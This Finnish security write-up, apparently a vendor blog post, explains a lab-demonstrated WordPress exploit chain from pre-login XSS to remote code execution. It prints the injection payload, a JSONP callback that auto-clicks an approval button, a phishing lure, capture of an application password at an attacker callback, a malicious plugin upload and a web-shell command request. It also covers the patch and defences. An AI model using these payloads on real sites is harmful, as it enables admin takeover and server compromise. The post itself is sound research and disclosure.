XSS2Shell: Nollasta shelliin WordPressissä

Käytännönläheinen läpikäynti esiauthentikointi-XSS-ketjusta, joka voi eskaloitua etäkoodin suorittamiseen WordPress Coressa, demonstroituna paikallisessa Docker-laboratorioympäristössä.

Vain valtuutettuun testaukseen.

Kaikki alla oleva suoritettiin paikallisessa laboratorioympäristössä (WordPress 7.0.2 osoitteessa localhos). Älä käytä näitä tekniikoita järjestelmiä vastaan, joita et omista tai joiden testaamiseen sinulla ei ole nimenomaista lupaa.

Tiivistelmä

XSS2Shell ei ole yksittäinen bugi — se on seitsenvaiheinen hyväksikäyttöketju, joka alkaa yhdellä merkillä (< jota seuraa välilyönti) ohittaen kaksi eri HTML-jäsennintä WordPressin kirjautumissivulla, ja päättyy PHP:n suorittamiseen palvelimella www-data-käyttäjänä.

Mikä tekee siitä vaarallisen:

  1. Vaihe 1 ei vaadi todennusta — kuka tahansa voi käynnistää JavaScriptin wp-login.php-sivulla.
  2. Se sijaitsee WordPress Coressa — ei laajennuksessa; käytännöllisesti katsoen jokainen tuettu asennus vuodesta 2016 lähtien on haavoittuvainen.
  3. Se käyttää WordPressin omaa koodia — user-profile.js, REST JSONP, sovellussalasanat, laajennuksen lataus — välineinä.
  4. Täydellinen RCE on osoitettu ja WordPress on myöntänyt sen — vaikka se vaatii kirjautuneen järjestelmänvalvojan huijaamista yhteen klikkaukseen.

Tämä artikkeli käy läpi jokaisen vaiheen kuvakaappauksilla paikallisesta laboratorioympäristöstämme.

Laboratorioympäristö

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 osoitteessa http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Jokainen WordPress-sivusto paljastaa /wp-login.php:n. Tämä sivu on koko ketjun sisäänkäyntipiste.

Vaihe 0: Jäsennysero (juurisyy)

Kun kirjautuminen epäonnistuu, WordPress toistaa syötetyn käyttäjänimen virheilmoituksessa. Käyttäjänimi kulkee kahden sanitoijan läpi, jotka ovat eri mieltä siitä, mikä on "tagi":

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Hyötykuorma käyttää välilyöntiä<:n jälkeen:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

Haavoittuvassa WordPress 7.0.2:ssa tämä selviää sanitoinnista ja muuttuu aktiiviseksi DOM:iksi:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

Paikkauksen saaneessa WordPress 7.0.4:ssä sama hyötykuorma HTML-escapetaan virheilmoituksessa — ei aktiivisia elementtejä.

Tämä bugi on ollut olemassa WordPressin versiosta 4.7 (2016) lähtien, ja se on jäänyt huomaamatta vuosien tietoturvatarkastuksissa.

Vaihe 1: Esiauthentikointi-XSS (ei kirjautumista vaadittu)

Injektoidut DOM-solmut vastaavat valitsimia, joita WordPressin oma user-profile.js etsii kirjautumissivulta (ladattu salasanan palautuksen yhteydessä):

  1. .reset-pass-submit .wp-generate-pw klikataan automaattisesti sivun latautuessa
  2. Klikkaus kuplii #color-picker:n delegoidulle käsittelijälle
  3. Vartiotarkistus user_id === checkuser_id läpäisee, koska molemmat ovat undefined
  4. jQuery lähettää POST-pyynnön kohteeseen ajaxurl — mutta ajaxurl ei ole olemassa kirjautumissivulla…

Ellei sitä ylikirjoiteta:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

<area id=ajaxurl>-elementistä tulee window.ajaxurl. jQuery kutsuu .toString() → palauttaa href:n. WordPress REST palauttaa JSONP:n → jQuery globalEval() → alert()suoritetaan WordPress-originissa.

Stage 1 demo page
Stage 1 demo page

Lähetä lomake (tai avaa demo/stage1-preauth-xss.html ja klikkaa Suorita vaihe 1):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Vaikutus pelkästään tässä vaiheessa: tunnistetietojen kalastelu oikealla verkkotunnuksella, istunnon kaappaus, same-origin-API-kutsut — ilman mitään todennusta.

Vaihe 2: Sosiaalinen manipulointi — järjestelmänvalvojan klikkaus

Vaiheet 2–7 edellyttävät, että kirjautunut järjestelmänvalvoja avaa hyökkääjän hallitseman sivun. Tämä kitka pitää CVSS:n alle 10:ssä — mutta se on realistinen kohdennetuissa hyökkäyksissä.

Järjestelmänvalvoja saattaa saada viestin: "Istuntosi on vanhentunut — klikkaa tästä kirjautuaksesi uudelleen."

Simulated phishing lure page
Simulated phishing lure page

Kun klikataan, hyökkääjän sivu:

  1. Avaa alatason ponnahdusikkunan (about:blank)
  2. Ohjaa pääikkunan WordPressin sovellusavaimen valtuutussivulle
  3. Kirjoittaa XSS-lomakkeen aliponnahdusikkunaan ja lähettää sen automaattisesti kohteeseen wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Vaihe 3: Same-Origin Method Execution (SOME) — automaattinen hyväksyntä

Aliikkunan XSS-hyötykuorma muuttaa JSONP-takaisinkutsun alert-funktiosta seuraavaksi:

window.opener.approve.click

WordPress REST käärii vastauksen:

/**/window.opener.approve.click({...})

Ajoympäristö ratkaisee window.opener:n (pääikkuna) → .approve (#approve-painike) → .click(). Sovellusavaimen Hyväksy-painiketta klikataan automaattisesti — ilman käyttäjän toimia kyseisellä sivulla.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Huomaa sivulla oleva takaisinkutsu-URL: tunnistetiedot lähetetään osoitteeseen http://127.0.0.1:9090/callback?...&password=[------].

Vaihe 4: Sovellussal­asanan sieppaus

WordPress luo uuden sovellussalasanan ja ohjaa käyttäjän hyökkääjän success_url-osoitteeseen, jossa tunnistetieto on kyselymerkkijonossa:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

Hyökkääjällä on nyt HTTP Basic auth -tunnisteet WordPress REST API:a varten — saatu järjestelmänvalvojan omasta istunnosta, ilman että järjestelmänvalvoja kirjoitti mitään alkuperäisen linkin klikkaamisen jälkeen.

Vaihe 5: Hyökkääjän hallitseman sivun julkaiseminen

Hyökkääjä käyttää varastettua sovellussalasanaa lähettääkseen POST-pyynnön kohteeseen /wp-json/wp/v2/pages ja julkaisee sivun, johon on upotettu JavaScript. Ylläpitäjillä on unfiltered_html-oikeus — script-tagit säilyvät.

Vaihe 6: Lisäosan lataaminen ylläpitäjäistunnon kautta

Hyökkääjän JavaScript (suoritetaan ylläpitäjän selaimessa julkaistulla sivulla):

  1. Hakee /wp-admin/plugin-install.php?tab=upload -sivulta latauksen noncen
  2. Lähettää POST-pyynnöllä haitallisen ZIP-tiedoston osoitteeseen /wp-admin/update.php?action=upload-plugin
  3. WordPress purkaa sen kansioon wp-content/plugins/xss2shell/

Liitännäistä ei tarvitse aktivoida. PHP-tiedostot liitännäishakemistossa ovat suoraan verkosta saavutettavissa.

Vaihe 7: Etäkoodin suoritus

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Vastaus:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Hyökkääjä suorittaa nyt mielivaltaisia komentoja verkkopalvelimen käyttäjänä — voi lukea wp-config.php-tiedoston (tietokantakirjautumistiedot), kaataa tietokannan ja liikkua sivusuunnassa.

Täydellinen PoC-päätetuloste:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Koko ketju lyhyesti

sequenceDiagram participant A as Hyökkääjän palvelin participant V as Uhrin selain participant W as WordPress 7.0.2 Note over V,W: Järjestelmänvalvoja on kirjautunut sisään V->>A: Avaa tietojenkalastelun linkin (1 klikkaus) A->>V: Hyökkääjän HTML + alaponnahdusikkuna V->>W: Pääikkuna → authorize-application.php V->>W: Alaponnahdusikkuna lähettää XSS-hyötykuorman wp-login.php:lle W->>V: JSONP suorittaa window.opener.approve.click Note over V,W: Hyväksy-painiketta klikataan automaattisesti W->>A: Uudelleenohjaus sovellusavaimen kanssa A->>W: REST API julkaisee sivun (Basic auth) V->>W: Järjestelmänvalvoja vierailee sivulla → lataa liitännäis-ZIP:n V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Kuinka vaarallinen se todella on?

Mikä on taattu (korkea luottamus)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Mitkä vaativat lisäehtoja (RCE-polku)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Vakavuuden kalibrointi

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Yhteenveto: Kyseessä ei ole matoilukelpoinen nollaklikkaus-RCE kuten Log4Shell. Se on syvällisen tekninen, ydintason haavoittuvuus, joka vaikuttaa noin 43 %:iin verkosta ja jossa:

  • Pelkkä vaihe 1 on vakava esitodennusvaiheen XSS kirjautumissivulla
  • Koko ketju muuntaa yhden järjestelmänvalvojan klikkauksen palvelimen murtamiseksi
  • Juurisyy (jäsentimen ero) pätee mihin tahansa koodipohjaan, joka käyttää useita HTML-jäsentimiä

WordPressin oma tietoturvatiedote toteaa, että RCE vaatii "hyökkääjän hallinnan ulkopuolisia olosuhteita" ja "onnistunutta sosiaalista manipulointia." Tämä pitää paikkansa — mutta osoitettu ketju tekee näistä olosuhteista saavutettavia yhdellä linkillä.

Toista koko ketju paikallisesti

# 1. Käynnistä laboratorio make up # 2. Ota sovellusavaimet käyttöön HTTP:llä (vain laboratorio) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Käynnistä PoC-kuuntelija python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. Selaimessa: # a. Kirjaudu järjestelmänvalvojana osoitteessa http://localhost:9080/wp-login.php # b. Avaa http://127.0.0.1:9091/phishing-sim.html # c. Klikkaa "Open attacker page" (salli ponnahdusikkunat) # d. Odota päätelaitteen tulosteen näyttävän shellin + whoami-komennon

Puolustus

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Korjaus lisää esc_html()-funktion käyttäjänimeen kirjautumisvirhepolussa — varmistaen, että merkkijono käsitellään tekstinä eikä uudelleen jäsennetä HTML:nä.

Miksi tämä on tärkeää tietoturvatutkimukselle

Jokainen ketjun linkki on yksinään tylsä:

  • Jäsentimen ero → alhainen vakavuus, ylläpitotehtävä
  • Väärä skripti ladattu kirjautumissivulle → alhainen
  • JSONP-takaisinkutsu validoitu regexillä → keskitaso
  • Sovellussalasana uudelleenohjauksen URL-osoitteessa → keskitaso
  • Laajennushakemisto suorittaa PHP:tä ilman aktivointia → tunnettu suunnittelu

Koottuna ne ovat CVSS 8.9 ja komentotulkki.

Opetus: XSS-havaintoja arvioidessasi kysy "mitä tälle sivulle on jo ladattu, ja mitä se tekee, jos annan sille oikeat DOM-solmut?" Vakavuus on ketjun ominaisuus, ei yksittäisen bugin.

Viitteet

Kysy tekoälyltä CyberTestedistä

Anna ChatGPT:n, Geminin, Grokin tai Perplexityn kertoa, mitä ne tietävät. Napsauta painiketta ja katso, mitä suosikki-Tekoälysi sanoo CyberTestedistä.

Valitse alue ja kieli

Alue
Kieli
Haluatko nähdä CyberTestedin toiminnassa?
Varaa ilmainen esittely